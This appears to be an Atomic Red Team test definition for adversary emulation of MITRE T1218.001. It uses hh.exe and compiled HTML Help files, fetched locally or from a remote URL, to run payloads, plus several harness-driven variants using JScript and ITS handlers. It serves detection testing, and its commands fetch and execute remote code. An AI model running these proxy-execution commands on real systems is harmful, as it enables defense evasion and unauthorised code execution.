attack_technique: T1218.001
display_name: 'Signed Binary Proxy Execution: Compiled HTML File'
atomic_tests:
- name: Compiled HTML Help Local Payload
  auto_generated_guid: 5cb87818-0d7c-4469-b7ef-9224107aebe8
  description: |
    Uses hh.exe to execute a local compiled HTML Help payload.
    Upon execution calc.exe will open
  supported_platforms:
  - windows
  input_arguments:
    local_chm_file:
      description: Local .chm payload
      type: Path
      default: PathToAtomicsFolder\T1218.001\src\T1218.001.chm
  dependency_executor_name: powershell
  dependencies:
  - description: |
      The payload must exist on disk at specified location (#{local_chm_file})
    prereq_command: |
      if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}"
  executor:
    command: |
      hh.exe #{local_chm_file}
    name: command_prompt
- name: Compiled HTML Help Remote Payload
  auto_generated_guid: 0f8af516-9818-4172-922b-42986ef1e81d
  description: |
    Uses hh.exe to execute a remote compiled HTML Help payload.
    Upon execution displays an error saying the file cannot be open
  supported_platforms:
  - windows
  input_arguments:
    remote_chm_file:
      description: Remote .chm payload
      type: Url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.001/src/T1218.001.chm
  executor:
    command: |
      hh.exe #{remote_chm_file}
    name: command_prompt
- name: Invoke CHM with default Shortcut Command Execution
  auto_generated_guid: 29d6f0d7-be63-4482-8827-ea77126c1ef7
  description: Executes a CHM file with the default Shortcut Command method.
  supported_platforms:
  - windows
  input_arguments:
    chm_file_path:
      description: Default path of CHM
      type: String
      default: Test.chm
    hh_file_path:
      description: path of modified HH.exe
      type: Path
      default: $env:windir\hh.exe
  dependencies:
  - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
    prereq_command: |-
      $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
      if (-not $RequiredModule) {exit 1}
      if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
    get_prereq_command: |
      Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
  executor:
    command: 'Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}'
    name: powershell
- name: Invoke CHM with InfoTech Storage Protocol Handler
  auto_generated_guid: b4094750-5fc7-4e8e-af12-b4e36bf5e7f6
  description: Executes a CHM file with the ITS protocol handler.
  supported_platforms:
  - windows
  input_arguments:
    hh_file_path:
      description: path of modified HH.exe
      type: Path
      default: $env:windir\hh.exe
    infotech_storage_handler:
      description: Default InfoTech Storage Protocol Handler
      type: String
      default: its
    chm_file_path:
      description: Default path of CHM
      type: String
      default: Test.chm
  dependencies:
  - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
    prereq_command: |-
      $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
      if (-not $RequiredModule) {exit 1}
      if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
    get_prereq_command: |
      Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
  executor:
    command: 'Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}'
    name: powershell
- name: Invoke CHM Simulate Double click
  auto_generated_guid: 5decef42-92b8-4a93-9eb2-877ddcb9401a
  description: Executes a CHM file simulating a user double click.
  supported_platforms:
  - windows
  input_arguments:
    chm_file_path:
      description: Default path of CHM
      type: String
      default: Test.chm
  dependencies:
  - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
    prereq_command: |-
      $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
      if (-not $RequiredModule) {exit 1}
      if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
    get_prereq_command: |
      Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
  executor:
    command: 'Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}'
    name: powershell
- name: Invoke CHM with Script Engine and Help Topic
  auto_generated_guid: 4f83adda-f5ec-406d-b318-9773c9ca92e5
  description: Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.
  supported_platforms:
  - windows
  input_arguments:
    topic_extension:
      description: Default Help Topic
      type: String
      default: html
    hh_file_path:
      description: path of modified HH.exe
      type: Path
      default: $env:windir\hh.exe
    infotech_storage_handler:
      description: Default InfoTech Storage Protocol Handler
      type: String
      default: its
    script_engine:
      description: Default Script Engine
      type: String
      default: JScript
    chm_file_path:
      description: Default path of CHM
      type: String
      default: Test.chm
  dependencies:
  - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
    prereq_command: |-
      $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
      if (-not $RequiredModule) {exit 1}
      if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
    get_prereq_command: |
      Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
  executor:
    command: 'Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}'
    name: powershell
- name: Invoke CHM Shortcut Command with ITS and Help Topic
  auto_generated_guid: 15756147-7470-4a83-87fb-bb5662526247
  description: Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.
  supported_platforms:
  - windows
  input_arguments:
    topic_extension:
      description: Default Help Topic
      type: String
      default: html
    hh_file_path:
      description: path of modified HH.exe
      type: Path
      default: $env:windir\hh.exe
    infotech_storage_handler:
      description: Default InfoTech Storage Protocol Handler
      type: string
      default: its
    chm_file_path:
      description: Default path of CHM
      type: String
      default: Test.chm
  dependencies:
  - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
    prereq_command: |-
      $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
      if (-not $RequiredModule) {exit 1}
      if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
    get_prereq_command: |
      Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
  executor:
    command: 'Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}'
    name: powershell
